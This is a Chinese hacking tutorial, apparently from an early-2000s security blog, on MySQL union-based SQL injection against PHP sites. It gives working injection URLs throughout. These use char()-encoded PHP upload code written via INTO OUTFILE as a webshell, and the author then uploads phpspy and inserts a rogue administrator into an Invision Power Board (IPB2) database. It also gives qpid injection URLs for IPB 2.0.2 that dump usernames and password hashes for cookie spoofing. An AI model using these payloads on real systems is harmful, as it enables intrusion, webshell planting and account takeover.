我前段時(shí)間寫了一篇《MySQL注入中導(dǎo)出字段內(nèi)容的研究——通過注入導(dǎo)出WebShell》(http://www.4ngel.net/article/37.htm),是查詢數(shù)據(jù)然后在生成文件的,現(xiàn)在我發(fā)現(xiàn)其實(shí)不少PHP程序,比如IPB就是把數(shù)據(jù)處理過了,再插入數(shù)據(jù)庫,一般是htmlspecialchars()之后,插入數(shù)據(jù),所以利用該文的方法,就行不通了,即使把webshell的代碼插入數(shù)據(jù)庫,生成出來的也是被處理過的代碼。用不了。
近段時(shí)間在測試一個(gè)PHP網(wǎng)站的時(shí)候,由于在load_file的時(shí)候,看不到文件的內(nèi)容,所以我就懷疑是不是字段的原因,因?yàn)槟切┤渴莍nt類型的,還有少數(shù)是VARCHAR的,我當(dāng)初以為是因?yàn)檫@個(gè)原因,其實(shí)后來進(jìn)入以后才發(fā)現(xiàn)是沒有FILE的權(quán)限,我不斷的換URL提交(注意,寫文章的時(shí)候,該網(wǎng)站已經(jīng)修補(bǔ)了漏洞,現(xiàn)在是本地演示):
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(47, 104, 111, 109, 101, 47, 119, 119, 119, 47, 99, 111, 110, 102, 105, 103, 46, 112, 104,112) |
屏幕上顯示了:
/home/www/config.php |
路徑?jīng)]錯(cuò)啊,文件也存在啊,難道沒有權(quán)限?暫時(shí)放下這個(gè),這個(gè)站點(diǎn)有可寫的目錄,是ipb2的論壇,/ipb2/uploads這個(gè)目錄是要設(shè)置成可寫的,上傳附件才能正常使用,我就想利用插數(shù)據(jù),導(dǎo)出文件的方法,因?yàn)槲铱戳藀hpinfo(),magic_quotes_gpc 是關(guān)閉的,所以用into outfile沒有問題,然后在本地測試了一下,發(fā)現(xiàn)提交的代碼:
變成了:
多提交幾個(gè)地方,均被做了處理,看來這樣我的這個(gè)思路又不行了,突然想到剛才看路徑的時(shí)候,能用char()函數(shù)輸出字符串,那我能不能直接寫上傳代碼?
這個(gè)轉(zhuǎn)換為10進(jìn)制是這樣的:
char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62) |
我馬上提交:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62) |
屏幕并沒有顯示出我們想要的東西,我查看源代碼,發(fā)現(xiàn)
這個(gè)代碼老老實(shí)實(shí)躺在里面,如圖:
之所以看不見,是因?yàn)闉g覽器把“<”和“>”之間的東西當(dāng)成HTML代碼解析了,這么說是可行的!這樣的好處和插數(shù)據(jù),導(dǎo)出文件相比好處在于:
因?yàn)橹埃也碌揭粋€(gè)user表,我也不用去知道字段了,有字段作為查詢條件只是為了防止數(shù)據(jù)庫很大,導(dǎo)出所有數(shù)據(jù)時(shí)很慢的情況,我現(xiàn)在馬上就提交:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, char(60, 63, 99, 111, 112, 121, 40, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 116, 109, 112, 95, 110, 97, 109, 101, 93, 44, 36, 95, 70, 73, 76, 69, 83, 91, 77, 121, 70, 105, 108, 101, 93, 91, 110, 97, 109, 101, 93, 41, 59, 63, 62) from user into outfile '/home/www/ipb2/uploads/upload.php'/* |
馬上查看,如圖:
注意:因?yàn)槲疫@里說是用char()這個(gè)函數(shù)寫的。所以就用這個(gè)來說明了。既然能用單引號(hào)就沒必要用CHAR函數(shù)了寫東西了。可以直接這樣:
http://localhost/111/show.php?id=1 and 1=2 union select 1,1, '<%3Fcopy(%24_FILES[MyFile][tmp_name],%24_FILES[MyFile][name]);%3F>' from user into outfile '/home/www/ipb2/uploads/upload.php'/* |
其中:?=%3F、$=%24,注意編碼,暈……我怎么覺得這篇文章有點(diǎn)多余啊??都寫到這里了,繼續(xù)吧!我只是為了告訴大家可以不用插數(shù)據(jù)了。5555,就這個(gè)意思而已也寫了這么多,我發(fā)現(xiàn)我這么久沒寫文章,邏輯性變差了,沒有條理了。各位將就點(diǎn)吧。
做個(gè)表單在本地提交:
傳了一個(gè)phpspy上去,呵呵,phpmyadmin的密碼知道了,馬上查看了表前綴等相關(guān)信息,執(zhí)行SQL語句:
INSERT INTO `ibf_members` VALUES ('999999', 'angel', 4, '', '4ngel@21cn.com', 1102196142, '0', 0, 'Administrator', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1102228365, 1102324215, 0, '0', 0, 0, '0', '0', 0, '0', 0, 0, 0, '2a841e6789e0bcee72d86cd911b9405d', 0); |
這樣就添加了一個(gè)IPB2論壇的管理員用戶名是“angel”,密碼是“thepass”,呵呵。
到這里還沒有說IPB2的漏洞呢,現(xiàn)在補(bǔ)充一下怎么利用,因?yàn)檫@個(gè)測試的站點(diǎn)就是用最新的IPB2.0.2,所以順便把我測試的結(jié)果寫下來。真是不好意思。我通過IPB2的注入又進(jìn)入了一次。
看了看IPB2安全公告:
http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=[sql_injection] |
得知qpid這個(gè)變量是沒有過濾的,我先提交:
http:/nothing/bbs/index.php?act=Post&CODE=02&f=2&t=1&qpid=1’ |
返回:
mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id) mySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 2 |
看到了嗎?執(zhí)行了什么SQL語句,都反饋回來了。從這里可以看出’(單引號(hào))已經(jīng)被過濾了,轉(zhuǎn)為10進(jìn)制,變成'了,所以用into outfile沒有辦法導(dǎo)出文件。這里如果構(gòu)造出有效的語句,也只能得到敏感信息了。
mySQL query error: select p.*,t.forum_id FROM ibf_posts p LEFT JOIN ibf_topics t ON (t.tid=p.topic_id) |
從這里看到SQL語句后。我再試著構(gòu)造語句,利用union聯(lián)合查詢,可以得到任意數(shù)據(jù)庫、任意數(shù)據(jù)表、任意字段的內(nèi)容。提交:
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,name,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/* |
可以看到用戶id為1的用戶名。
http://localhost/ipb2/index.php?act=Post&CODE=02&f=2&t=1&qpid=1)%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1%20from%20ibf_members%20where%20id=1%20/* |
可以看到用戶id為1的密碼MD5散列。
如果論壇太大了。找不到管理員的ID,直接用“where mgroup=4”作為查詢條件可以了。我也不多說怎么構(gòu)造了。大家如果不明白構(gòu)造,可以先去http//www.4ngel.net看看相關(guān)文章。有了這些敏感的數(shù)據(jù),就可以直接COOKIE欺騙了哦。IPB2.0.0-2.0.2的COOKIE欺騙的漏洞細(xì)節(jié),可以在綠盟看到(http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=7181)。
RusH security team發(fā)布的IPB2的exploit(http://www.rst.void.ru/download/r57ipb.txt),要求的參數(shù)比較多,居然還要知道SID,如下:
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_ |
如果成功利用了,就會(huì)返回,
## [ REPORT ]------------------------------------------------------------ |
而且他們是CONCAT(id,char(58),name,char(58),member_login_key)這樣來判斷。自然沒有我們直接返回這么瀟灑了。不過工具也只能這樣了,手工的話,我們只用知道構(gòu)造就行了,僅此而已。
工具只是武器,技術(shù)才是靈魂。毛主席說過:自己動(dòng)手,豐衣足食。